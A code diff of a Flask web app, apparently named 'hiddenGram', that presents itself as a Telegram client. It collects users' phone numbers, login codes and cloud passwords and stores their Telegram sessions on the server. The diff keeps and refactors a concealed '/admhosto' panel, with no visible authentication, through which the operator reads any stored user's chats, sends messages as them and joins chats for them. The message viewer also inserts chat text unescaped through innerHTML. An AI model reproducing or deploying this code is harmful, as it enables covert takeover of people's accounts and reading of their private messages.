-            color: #00ff00; 
-            margin-bottom: 25px; 
-            font-weight: 500;
-        }
-        h1 { font-size: 2.5em; }
-        h2 { font-size: 1.8em; }
-        table { 
-            width: 100%; 
-            border-collapse: collapse; 
-            margin-top: 20px; 
-        }
-        th, td { 
-            padding: 12px; 
-            border: 1px solid #444; 
-            text-align: left; 
-            font-size: 0.95em;
-        }
-        th { 
-            background: #3a3a3a; 
-            color: #00ff00; 
-            font-weight: bold;
-        }
-        tr:nth-child(even) { 
-            background: #2f2f2f; 
-        }
-        tr:hover { 
-            background: #3a3a3a; 
-        }
-        a { 
-            color: #0099ff; 
-            text-decoration: none; 
-            transition: color 0.3s ease; 
-        }
-        a:hover { 
-            text-decoration: underline; 
-            color: #0077cc; 
-        }
-        .back-button { 
-            margin-top: 30px; 
-            text-align: center; 
-        }
+        body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; color: #333; margin: 0; padding: 20px; }
+        .container { max-width: 900px; margin: auto; background: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); }
+        h1, h2 { text-align: center; color: #0088cc; margin-bottom: 25px; }
+        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
+        th, td { padding: 12px; border: 1px solid #ddd; text-align: left; }
+        th { background: #f7f7f7; color: #555; font-weight: 500; }
+        tr:nth-child(even) { background: #f9f9f9; }
+        a { color: #0088cc; text-decoration: none; transition: color 0.3s ease; }
+        a:hover { text-decoration: underline; }
+        .back-button { margin-top: 30px; text-align: center; }
     </style>
 </head>
 <body>
@@ -891,350 +492,116 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>hiddenGram - Manage Account: {{ user.username or user.phone }}</title>
+    <title>Manage: {{ user.username or user.phone }}</title>
     <style>
-        @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap');
-        body { 
-            font-family: 'Roboto', sans-serif; 
-            background: #1a1a1a; 
-            color: #e0e0e0; 
-            margin: 0; 
-            padding: 20px; 
-            line-height: 1.6;
-        }
-        .container { 
-            max-width: 1200px; 
-            margin: auto; 
-            background: #282828; 
-            padding: 30px; 
-            border-radius: 8px; 
-            box-shadow: 0 4px 15px rgba(0, 255, 0, 0.2); 
-        }
-        h1, h2 { 
-            text-align: center; 
-            color: #00ff00; 
-            margin-bottom: 20px; 
-            font-weight: 500;
-        }
-        h1 { font-size: 2.2em; }
-        h2 { font-size: 1.5em; }
-        .user-info { 
-            text-align: center; 
-            margin-bottom: 30px; 
-            font-size: 1.1em; 
-            color: #aaa; 
-            border-bottom: 1px solid #333;
-            padding-bottom: 15px;
-        }
-        .split-panel { 
-            display: flex; 
-            gap: 25px; 
-            margin-top: 25px; 
-        }
-        .split-panel > div { 
-            flex: 1; 
-            background: #3a3a3a; 
-            padding: 20px; 
-            border-radius: 8px; 
-            box-shadow: 0 2px 5px rgba(0,0,0,0.2);
-            display: flex;
-            flex-direction: column;
-        }
-        .action-panel h2, .chat-list-panel h2, .message-viewer h2 { 
-            color: #00ff00; 
-            margin-top: 0; 
-            margin-bottom: 15px; 
-            text-align: center; 
-        }
-        input[type="text"], textarea { 
-            width: calc(100% - 22px); 
-            padding: 12px; 
-            margin: 8px 0; 
-            border: 1px solid #555; 
-            border-radius: 5px; 
-            background: #4a4a4a; 
-            color: #fff; 
-            font-size: 1em; 
-            transition: border-color 0.3s ease;
-        }
-        input[type="text"]:focus, textarea:focus {
-            border-color: #00ff00;
-            outline: none;
-        }
-        textarea { 
-            resize: vertical; 
-            min-height: 80px; 
-        }
-        button { 
-            background: #00ff00; 
-            color: #1a1a1a; 
-            padding: 12px 20px; 
-            border: none; 
-            border-radius: 5px; 
-            cursor: pointer; 
-            font-size: 1.0em; 
-            font-weight: bold; 
-            margin-top: 10px; 
-            width: 100%; 
-            transition: background 0.3s ease; 
-        }
-        button:hover { 
-            background: #00cc00; 
-        }
-        .chat-list { 
-            flex: 1;
-            max-height: 400px; 
-            overflow-y: auto; 
-            border: 1px solid #555; 
-            border-radius: 5px; 
-            background: #2f2f2f;
-            -ms-overflow-style: none;  /* IE and Edge */
-            scrollbar-width: none;  /* Firefox */
-        }
-        .chat-list::-webkit-scrollbar {
-            display: none; /* Chrome, Safari, Opera*/
-        }
-        .chat-item { 
-            padding: 12px 15px; 
-            border-bottom: 1px solid #4a4a4a; 
-            cursor: pointer; 
-            transition: background 0.2s ease; 
-        }
-        .chat-item:hover, .chat-item.active { 
-            background: #5a5a5a; 
-        }
-        .chat-item:last-child { 
-            border-bottom: none; 
-        }
-        .chat-item h3 { 
-            margin: 0; 
-            font-size: 1.05em; 
-            color: #fff; 
-            white-space: nowrap;
-            overflow: hidden;
-            text-overflow: ellipsis;
-        }
-        .chat-item p { 
-            margin: 5px 0 0; 
-            font-size: 0.85em; 
-            color: #bbb; 
-            white-space: nowrap; 
-            overflow: hidden; 
-            text-overflow: ellipsis; 
-        }
-
-        .message-viewer { 
-            margin-top: 25px; 
-            background: #3a3a3a; 
-            padding: 20px; 
-            border-radius: 8px; 
-            box-shadow: 0 2px 5px rgba(0,0,0,0.2);
-        }
-        .messages-container { 
-            max-height: 500px; 
-            overflow-y: auto; 
-            padding: 10px; 
-            border: 1px solid #555; 
-            border-radius: 5px; 
-            background: #2f2f2f; 
-            margin-top: 15px; 
-            display: flex; 
-            flex-direction: column-reverse; 
-            -ms-overflow-style: none;  /* IE and Edge */
-            scrollbar-width: none;  /* Firefox */
-        }
-        .messages-container::-webkit-scrollbar {
-            display: none; /* Chrome, Safari, Opera*/
-        }
-        .message-item { 
-            margin-bottom: 10px; 
-            padding: 10px 12px; 
-            border-radius: 18px; 
-            max-width: 90%; 
-            word-wrap: break-word; 
-            box-shadow: 0 1px 1px rgba(0,0,0,0.1);
-        }
-        .message-item.sent { 
-            background: #005600; 
-            align-self: flex-end; 
-            border-bottom-right-radius: 5px;
-        }
-        .message-item.received { 
-            background: #4a4a4a; 
-            align-self: flex-start; 
-            border-bottom-left-radius: 5px;
-        }
-        .message-sender { 
-            font-weight: bold; 
-            color: #00ff00; 
-            margin-bottom: 5px; 
-            display: block; 
-            font-size: 0.9em;
-        }
-        .message-text { 
-            color: #e0e0e0; 
-            font-size: 0.9em; 
-            line-height: 1.4; 
-        }
-        .message-meta { 
-            font-size: 0.7em; 
-            color: #aaa; 
-            margin-top: 5px; 
-            text-align: right; 
-        }
-        .media-link { 
-            display: block; 
-            margin-top: 5px; 
-            color: #00ffff; 
-            text-decoration: none; 
-            word-break: break-all; 
-        }
-        .media-link:hover { 
-            text-decoration: underline; 
-        }
-        .back-button { 
-            margin-top: 30px; 
-            text-align: center; 
-        }
-        .clear-chat-selection { 
-            text-align: center; 
-            margin-top: 15px; 
-            padding-top: 10px;
-            border-top: 1px solid #4a4a4a;
-        }
-        .clear-chat-selection button { 
-            background: #4a4a4a; 
-            color: #e0e0e0; 
-            width: auto; 
-            padding: 8px 15px; 
-        }
-        .clear-chat-selection button:hover { 
-            background: #5a5a5a; 
-        }
-        @media (max-width: 900px) {
-            .split-panel { flex-direction: column; }
-            .chat-list-panel { flex: none; height: auto; max-height: 300px; }
-        }
+        body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; color: #333; margin: 0; padding: 20px; }
+        .container { max-width: 1200px; margin: auto; background: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); }
+        h1, h2 { text-align: center; color: #0088cc; margin-bottom: 20px; font-weight: 500; }
+        .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: #777; }
+        .split-panel { display: flex; gap: 25px; margin-top: 25px; }
+        .split-panel > div { flex: 1; background: #f9f9f9; padding: 20px; border-radius: 8px; border: 1px solid #eee; }
+        h2 { margin-top: 0; }
+        input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid #ddd; border-radius: 5px; background: #fff; font-size: 1em; }
+        textarea { resize: vertical; min-height: 80px; }
+        button { background: #0088cc; color: #fff; padding: 12px 20px; border: none; border-radius: 5px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 10px; width: 100%; transition: background 0.3s ease; }
+        button:hover { background: #0077b3; }
+        .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; border-radius: 5px; }
+        .chat-item { padding: 12px 15px; border-bottom: 1px solid #eee; cursor: pointer; transition: background 0.2s ease; }
+        .chat-item:hover, .chat-item.active { background: #e9ecef; }
+        .chat-item:last-child { border-bottom: none; }
+        .chat-item h3 { margin: 0; font-size: 1.05em; color: #111; font-weight: 500; }
+        .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: #666; }
+        .message-viewer { margin-top: 25px; background: #f9f9f9; padding: 20px; border-radius: 8px; border: 1px solid #eee; }
+        .messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid #ddd; border-radius: 5px; background: #fff; margin-top: 15px; display: flex; flex-direction: column-reverse; }
+        .message-item { max-width: 80%; padding: 8px 12px; border-radius: 12px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; }
+        .message-item.sent { background: #dcf8c6; align-self: flex-end; }
+        .message-item.received { background: #f1f0f0; align-self: flex-start; }
+        .message-sender { font-weight: bold; color: #0088cc; margin-bottom: 4px; display: block; font-size: 0.9em; }
+        .message-text { font-size: 0.9em; }
+        .message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; }
+        .media-link { display: block; margin-top: 5px; color: #0088cc; text-decoration: none; }
+        .back-button { margin-top: 30px; text-align: center; }
+        .clear-chat-selection { text-align: center; margin-top: 15px; }
+        .clear-chat-selection button { background: #6c757d; color: #fff; width: auto; padding: 8px 15px; }
     </style>
 </head>
 <body>
     <div class="container">
-        <h1>Manage Account: {{ user.username or user.phone }} (ID: {{ user.id }})</h1>
-        <div class="user-info">Telegram ID: {{ user.telegram_id }} | Phone: {{ user.phone }}</div>
+        <h1>Manage Account: {{ user.username or user.phone }}</h1>
+        <div class="user-info">ID: {{ user.id }} | Telegram ID: {{ user.telegram_id }} | Phone: {{ user.phone }}</div>
 
         <div class="split-panel">
             <div class="action-panel">
                 <h2>Send Message</h2>
-                <input type="text" id="sendMessageRecipient" placeholder="Recipient (username or ID)">
+                <input type="text" id="sendMessageRecipient" placeholder="Recipient (@username or ID)">
                 <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
                 <button onclick="sendMessage({{ user.id }})">Send Message</button>
 
                 <h2 style="margin-top: 30px;">Join Chat</h2>
-                <input type="text" id="joinChatIdentifier" placeholder="Channel/Group username or invite link">
+                <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
                 <button onclick="joinChat({{ user.id }})">Join Chat</button>
             </div>
 
             <div class="chat-list-panel">
                 <h2>Chats</h2>
                 <div class="chat-list" id="chatList">
-                    {% if chats %}
-                        {% for chat in chats %}
-                            <div class="chat-item" data-id="{{ chat.id }}" data-title="{{ chat.title }}" data-type="{{ chat.type }}" onclick="selectChat({{ user.id }}, {{ chat.id }}, '{{ chat.title | e }}', '{{ chat.type | e }}')">
-                                <h3>{{ chat.title }}</h3>
-                                <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
-                            </div>
-                        {% endfor %}
+                    {% for chat in chats %}
+                        <div class="chat-item" data-id="{{ chat.id }}" onclick="selectChat({{ user.id }}, {{ chat.id }}, '{{ chat.title | e }}')">
+                            <h3>{{ chat.title }}</h3>
+                            <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
+                        </div>
                     {% else %}
                         <p style="padding: 15px; text-align: center;">No chats found.</p>
-                    {% endif %}
-                </div>
-                <div class="clear-chat-selection">
-                    <button onclick="clearChatSelection()">Clear Selection</button>
+                    {% endfor %}
                 </div>
+                 <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
             </div>
         </div>
 
         <div class="message-viewer" id="messageViewer" style="display:none;">
             <h2 id="messagesChatTitle"></h2>
-            <div class="messages-container" id="messagesContainer">
-                
-            </div>
+            <div class="messages-container" id="messagesContainer"></div>
         </div>
 
-        <div class="back-button">
-            <a href="/admhosto">Back to Admin Panel</a>
-        </div>
+        <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
     </div>
-
     <script>
-        let currentUserId = {{ user.id }};
-        let currentSelectedChatId = null;
-
         function clearChatSelection() {
-            currentSelectedChatId = null;
             document.getElementById('messageViewer').style.display = 'none';
-            document.querySelectorAll('.chat-item').forEach(item => {
-                item.classList.remove('active');
-            });
+            document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
         }
 
-        async function selectChat(userId, chatId, chatTitle, chatType) {
-            currentSelectedChatId = chatId;
-            
-            document.querySelectorAll('.chat-item').forEach(item => {
-                item.classList.remove('active');
-            });
+        async function selectChat(userId, chatId, chatTitle) {
+            document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
             document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
 
             document.getElementById('messageViewer').style.display = 'block';
-            document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}" (${chatType})`;
+            document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
             const messagesContainer = document.getElementById('messagesContainer');
-            messagesContainer.innerHTML = '<p style="text-align: center; color: #aaa;">Loading messages...</p>';
-            messagesContainer.scrollTop = messagesContainer.scrollHeight;
+            messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading...</p>';
 
             const response = await fetch(`/admhosto/user/${userId}/chat/${chatId}/messages`);
             const result = await response.json();
             messagesContainer.innerHTML = '';
             if (result.success && result.messages) {
-                const fragment = document.createDocumentFragment();
-                result.messages.reverse().forEach(msg => { 
+                result.messages.reverse().forEach(msg => {
                     const messageItem = document.createElement('div');
-                    messageItem.classList.add('message-item');
-                    messageItem.classList.add(msg.is_sent ? 'sent' : 'received');
-
-                    let senderInfo = '';
-                    if (!msg.is_sent) { 
-                        senderInfo = `<span class="message-sender">${msg.sender_name}</span>`;
-                    }
-                    
-                    let mediaHtml = '';
-                    if (msg.file_name) {
-                        mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
-                    }
-
-                    messageItem.innerHTML = `
-                        ${senderInfo}
-                        ${msg.text ? `<div class="message-text">${msg.text}</div>` : ''}
-                        ${mediaHtml}
-                        ${!msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : ''}
-                        <div class="message-meta">${msg.date}</div>
-                    `;
-                    fragment.prepend(messageItem);
+                    messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
+                    let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
+                    let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
+                    messageItem.innerHTML = `${senderInfo}<div class="message-text">${msg.text || ''}</div>${mediaHtml}<div class="message-meta">${msg.date}</div>`;
+                    messagesContainer.prepend(messageItem);
                 });
-                messagesContainer.appendChild(fragment);
                 messagesContainer.scrollTop = messagesContainer.scrollHeight;
             } else {
-                messagesContainer.innerHTML = `<p style="text-align: center; color: #aaa;">${result.message || 'No messages found in this chat.'}</p>`;
+                messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
             }
         }
 
         async function sendMessage(userId) {
             const chatId = document.getElementById('sendMessageRecipient').value;
             const message = document.getElementById('sendMessageContent').value;
-            if (!chatId || !message.trim()) {
-                alert('Please enter recipient and message.');
-                return;
-            }
+            if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; }
             const response = await fetch(`/admhosto/send_message/${userId}`, {
                 method: 'POST',
                 headers: { 'Content-Type': 'application/json' },
@@ -1245,18 +612,12 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
             if (result.success) {
                 document.getElementById('sendMessageRecipient').value = '';
                 document.getElementById('sendMessageContent').value = '';
-                if (currentSelectedChatId == chatId) {
-                    selectChat(userId, currentSelectedChatId, document.querySelector(`.chat-item[data-id="${currentSelectedChatId}"]`).dataset.title, document.querySelector(`.chat-item[data-id="${currentSelectedChatId}"]`).dataset.type);
-                }
             }
         }
 
         async function joinChat(userId) {
             const chatIdentifier = document.getElementById('joinChatIdentifier').value;
-            if (!chatIdentifier.trim()) {
-                alert('Please enter channel/group username or invite link.');
-                return;
-            }
+            if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }
             const response = await fetch(`/admhosto/join_chat/${userId}`, {
                 method: 'POST',
                 headers: { 'Content-Type': 'application/json' },
@@ -1264,10 +625,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
             });
             const result = await response.json();
             alert(result.message);
-            if (result.success) {
-                document.getElementById('joinChatIdentifier').value = '';
-                location.reload(); 
-            }
+            if (result.success) { location.reload(); }
         }
     </script>
 </body>
@@ -1284,9 +642,6 @@ def index():
 def api_login():
     data = request.json
     phone = data.get('phone')
-    code = data.get('code')
-    password = data.get('password')
-    phone_code_hash = data.get('phone_code_hash')
     step = data.get('step')
     
     if not phone:
@@ -1295,8 +650,11 @@ def api_login():
     session_hash = hashlib.md5(phone.encode()).hexdigest()
     session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
 
+    session['phone'] = phone
+    session['session_file'] = session_file_path
+
     async def _login_async():
-        client = TelegramClient(session_file_path, API_ID, API_HASH)
+        client = TelegramClient(session['session_file'], API_ID, API_HASH)
         result = {}
         try:
             await client.connect()
@@ -1306,48 +664,52 @@ def api_login():
                     with sqlite3.connect(DB_PATH) as conn:
                         c = conn.cursor()
                         c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
-                                  (str(me.id), me.username or '', phone, session_file_path))
+                                  (str(me.id), me.username or '', session['phone'], session['session_file']))
                         conn.commit()
-                        session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
-                    result = {'success': True, 'message': 'Already logged in.', 'user_id': session['user_id']}
+                        user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
+                    session['user_id'] = user_db_id
+                    result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
                 else:
-                    sent_code = await client.send_code_request(phone)
-                    result = {'success': True, 'message': 'Code sent to your Telegram.', 'phone_code_hash': sent_code.phone_code_hash}
+                    sent_code = await client.send_code_request(session['phone'])
+                    session['phone_code_hash'] = sent_code.phone_code_hash
+                    result = {'success': True, 'message': 'Code sent.', 'phone_code_hash': sent_code.phone_code_hash}
             elif step == 'code':
+                code = data.get('code')
+                phone_code_hash = session.get('phone_code_hash')
                 if not phone_code_hash:
-                    raise ValueError('phone_code_hash is missing for code step.')
+                    raise ValueError('Session expired, please try again.')
                 
                 try:
-                    me = await client.sign_in(phone=phone, code=code, phone_code_hash=phone_code_hash)
+                    me = await client.sign_in(phone=session['phone'], code=code, phone_code_hash=phone_code_hash)
                     with sqlite3.connect(DB_PATH) as conn:
                         c = conn.cursor()
                         c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
-                                  (str(me.id), me.username or '', phone, session_file_path))
+                                  (str(me.id), me.username or '', session['phone'], session['session_file']))
                         conn.commit()
-                        session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
-                    result = {'success': True, 'message': 'Logged in successfully.', 'user_id': session['user_id']}
+                        user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
+                    session['user_id'] = user_db_id
+                    result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
                 except SessionPasswordNeededError:
                     result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
-                except Exception as e:
-                    result = {'success': False, 'message': f'Error during code submission: {e}.'}
+
             elif step == 'password':
-                try:
-                    me = await client.sign_in(password=password) 
-                    with sqlite3.connect(DB_PATH) as conn:
-                        c = conn.cursor()
-                        c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
-                                  (str(me.id), me.username or '', phone, session_file_path))
-                        conn.commit()
-                        session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
-                    result = {'success': True, 'message': 'Logged in with cloud password.', 'user_id': session['user_id']}
-                except Exception as e:
-                    result = {'success': False, 'message': f'Error during password submission: {e}.'}
+                password = data.get('password')
+                me = await client.sign_in(password=password)
+                with sqlite3.connect(DB_PATH) as conn:
+                    c = conn.cursor()
+                    c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
+                              (str(me.id), me.username or '', session['phone'], session['session_file']))
+                    conn.commit()
+                    user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
+                session['user_id'] = user_db_id
+                result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
+
             else:
                 result = {'success': False, 'message': 'Invalid step.'}
         except Exception as e:
-            result = {'success': False, 'message': f'An unexpected error occurred during connection: {e}.'}
+            result = {'success': False, 'message': f'An error occurred: {e}'}
         finally:
-            if client and client.is_connected():
+            if client.is_connected():
                 await client.disconnect()
         return result
 
@@ -1355,26 +717,21 @@ def api_login():
 
 @app.route('/api/logout', methods=['POST'])
 def api_logout():
-    if 'user_id' in session:
-        user_id = session['user_id']
+    user_id = session.get('user_id')
+    if user_id:
         async def _logout_async():
             client, error = await get_user_client(user_id)
-            if error:
-                return {'success': False, 'message': error}
+            if error: return
             try:
-                await client.log_out()
-                return {'success': True, 'message': 'Logged out successfully.'}
-            except Exception as e:
-                return {'success': False, 'message': f'Error logging out: {e}.'}
+                if client.is_connected():
+                    await client.log_out()
             finally:
                 if client and client.is_connected():
                     await client.disconnect()
-
-        result = asyncio.run(_logout_async())
-        if result['success']:
-            session.pop('user_id', None)
-        return jsonify(result)
-    return jsonify({'success': False, 'message': 'No active session.'})
+        asyncio.run(_logout_async())
+    
+    session.clear()
+    return jsonify({'success': True, 'message': 'Logged out.'})
 
 @app.route('/app')
 def hidden_gram_app():
@@ -1390,15 +747,22 @@ def api_user_chats():
 
     async def _get_chats_async():
         client, error = await get_user_client(user_id)
-        if error:
-            return None, error
+        if error: return None, error
 
         chats_info = []
         try:
             async for dialog in client.iter_dialogs():
+                title = dialog.title
                 chat_type = 'User'
                 participants = None
-                if isinstance(dialog.entity, Channel):
+                
+                if isinstance(dialog.entity, User):
+                    chat_type = 'User'
+                    full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
+                    title = full_name
+                    if dialog.entity.username:
+                        title += f" (@{dialog.entity.username})"
+                elif isinstance(dialog.entity, Channel):
                     chat_type = 'Channel'
                     if hasattr(dialog.entity, 'participants_count'):
                         participants = dialog.entity.participants_count
@@ -1406,14 +770,15 @@ def api_user_chats():
                     chat_type = 'Group'
                     if hasattr(dialog.entity, 'participants_count'):
                         participants = dialog.entity.participants_count
-                elif isinstance(dialog.entity, User):
-                    chat_type = 'User'
-                
+
+                initial = title[0].upper() if title else '?'
+
                 chats_info.append({
                     'id': dialog.id,
-                    'title': dialog.title,
+                    'title': title,
                     'type': chat_type,
-                    'participants': participants
+                    'participants': participants,
+                    'avatar_initial': initial
                 })
         except Exception as e:
             return None, str(e)
@@ -1426,47 +791,32 @@ def api_user_chats():
     if error:
         return jsonify({'success': False, 'message': f"Failed to load chats: {error}"}), 500
     
-    return jsonify({'success': True, 'chats': chats})
+    return jsonify({'success': True, 'chats': sorted(chats, key=lambda x: x['title'])})
 
 @app.route('/api/chat_messages/<int:peer_id>')
 def api_get_chat_messages(peer_id):
     user_id = session.get('user_id')
-    if not user_id:
-        return jsonify({'success': False, 'message': 'User not logged in.'}), 401
+    if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
 
     async def _get_messages_async():
         client, error = await get_user_client(user_id)
-        if error:
-            return None, error
+        if error: return None, error
 
         messages = []
         try:
             entity = await client.get_entity(peer_id)
-
             async for message in client.iter_messages(entity, limit=50, reverse=False):
                 msg_data = {
                     'text': message.text,
-                    'date': message.date.strftime("%Y-%m-%d %H:%M:%S"),
-                    'sender_name': 'Unknown',
-                    'is_sent': message.out
+                    'date': message.date.strftime("%b %d, %H:%M"),
+                    'is_sent': message.out,
+                    'sender_name': 'Unknown'
                 }
-
                 if message.sender:
                     if isinstance(message.sender, User):
-                        if message.sender.first_name:
-                            msg_data['sender_name'] = message.sender.first_name
-                            if message.sender.last_name:
-                                msg_data['sender_name'] += f" {message.sender.last_name}"
-                        elif message.sender.username:
-                            msg_data['sender_name'] = message.sender.username
-                        else:
-                            msg_data['sender_name'] = f"User {message.sender.id}"
-                    elif isinstance(message.sender, (Chat, Channel)):
+                        msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
+                    elif hasattr(message.sender, 'title'):
                         msg_data['sender_name'] = message.sender.title
-                    else:
-                        msg_data['sender_name'] = f"Entity {message.sender.id}"
-                elif hasattr(message, 'chat') and message.chat:
-                     msg_data['sender_name'] = message.chat.title # Fallback for anonymous group messages
 
                 if message.media:
                     try:
@@ -1474,10 +824,10 @@ def api_get_chat_messages(peer_id):
                         if file_info:
                             file_path = Path(file_info)
                             msg_data['file_name'] = file_path.name
-                            msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB" if os.path.exists(file_path) else "N/A"
-                    except Exception as e:
-                        msg_data['file_name'] = f"Error downloading file: {e}"
-                        msg_data['file_size'] = ""
+                            file_size_mb = os.path.getsize(file_path) / (1024*1024)
+                            msg_data['file_size'] = f"{file_size_mb:.2f} MB" if file_size_mb >= 0.1 else f"{os.path.getsize(file_path)/1024:.1f} KB"
+                    except Exception:
+                        msg_data['file_name'] = "Download failed"
                 messages.append(msg_data)
         except Exception as e:
             return None, str(e)
@@ -1495,257 +845,159 @@ def api_get_chat_messages(peer_id):
 @app.route('/api/send_message', methods=['POST'])
 def api_send_message():
     user_id = session.get('user_id')
-    if not user_id:
-        return jsonify({'success': False, 'message': 'User not logged in.'}), 401
+    if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
 
     data = request.json
-    chat_id_or_username = data.get('chat_id')
+    chat_id = data.get('chat_id')
     message_content = data.get('message')
 
     async def _send_message_async():
         client, error = await get_user_client(user_id)
-        if error:
-            return {'success': False, 'message': error}
+        if error: return {'success': False, 'message': error}
         try:
-            if chat_id_or_username.isdigit():
-                peer_entity = int(chat_id_or_username)
-            else:
-                peer_entity = chat_id_or_username 
-            await client.send_message(peer_entity, message_content)
-            return {'success': True, 'message': 'Message sent successfully.'}
+            target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
+            await client.send_message(target_entity, message_content)
+            return {'success': True, 'message': 'Message sent.'}
         except Exception as e:
             return {'success': False, 'message': str(e)}
         finally:
-            if client and client.is_connected():
-                await client.disconnect()
+            if client and client.is_connected(): await client.disconnect()
 
-    result = asyncio.run(_send_message_async())
-    return jsonify(result)
+    return jsonify(asyncio.run(_send_message_async()))
 
 @app.route('/api/join_chat', methods=['POST'])
 def api_join_chat():
     user_id = session.get('user_id')
-    if not user_id:
-        return jsonify({'success': False, 'message': 'User not logged in.'}), 401
+    if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
 
     data = request.json
     chat_identifier = data.get('chat_identifier')
 
     async def _join_chat_async():
         client, error = await get_user_client(user_id)
-        if error:
-            return {'success': False, 'message': error}
+        if error: return {'success': False, 'message': error}
         try:
             if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
-                invite_hash = chat_identifier.split('/')[-1]
-                if '+' in invite_hash:
-                    invite_hash = invite_hash.replace('+', '')
+                invite_hash = chat_identifier.split('/')[-1].replace('+', '')
                 await client(ImportChatInviteRequest(invite_hash))
             else:
-                if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
-                    chat_identifier = '@' + chat_identifier
                 await client(JoinChannelRequest(chat_identifier))
-            return {'success': True, 'message': f'Successfully joined chat: {chat_identifier}.'}
+            return {'success': True, 'message': f'Successfully joined {chat_identifier}.'}
         except FloodWaitError as e:
-            return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
-        except UserNotParticipantError:
-             return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
+            return {'success': False, 'message': f'Please try again in {e.seconds}s.'}
+        except (UserNotParticipantError, ValueError):
+             return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
         except Exception as e:
-            return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
+            return {'success': False, 'message': f'Error joining chat: {e}'}
         finally:
-            if client and client.is_connected():
-                await client.disconnect()
+            if client and client.is_connected(): await client.disconnect()
     
-    result = asyncio.run(_join_chat_async())
-    return jsonify(result)
+    return jsonify(asyncio.run(_join_chat_async()))
 
-@app.route('/download/<filename>')
+@app.route('/download/<path:filename>')
 def download_file(filename):
-    return send_from_directory(DOWNLOAD_DIR, filename)
+    return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=True)
 
 @app.route('/admhosto')
 def admhosto_index():
     with sqlite3.connect(DB_PATH) as conn:
-        c = conn.cursor()
-        c.execute('SELECT id, telegram_id, username, phone FROM users')
-        users = c.fetchall()
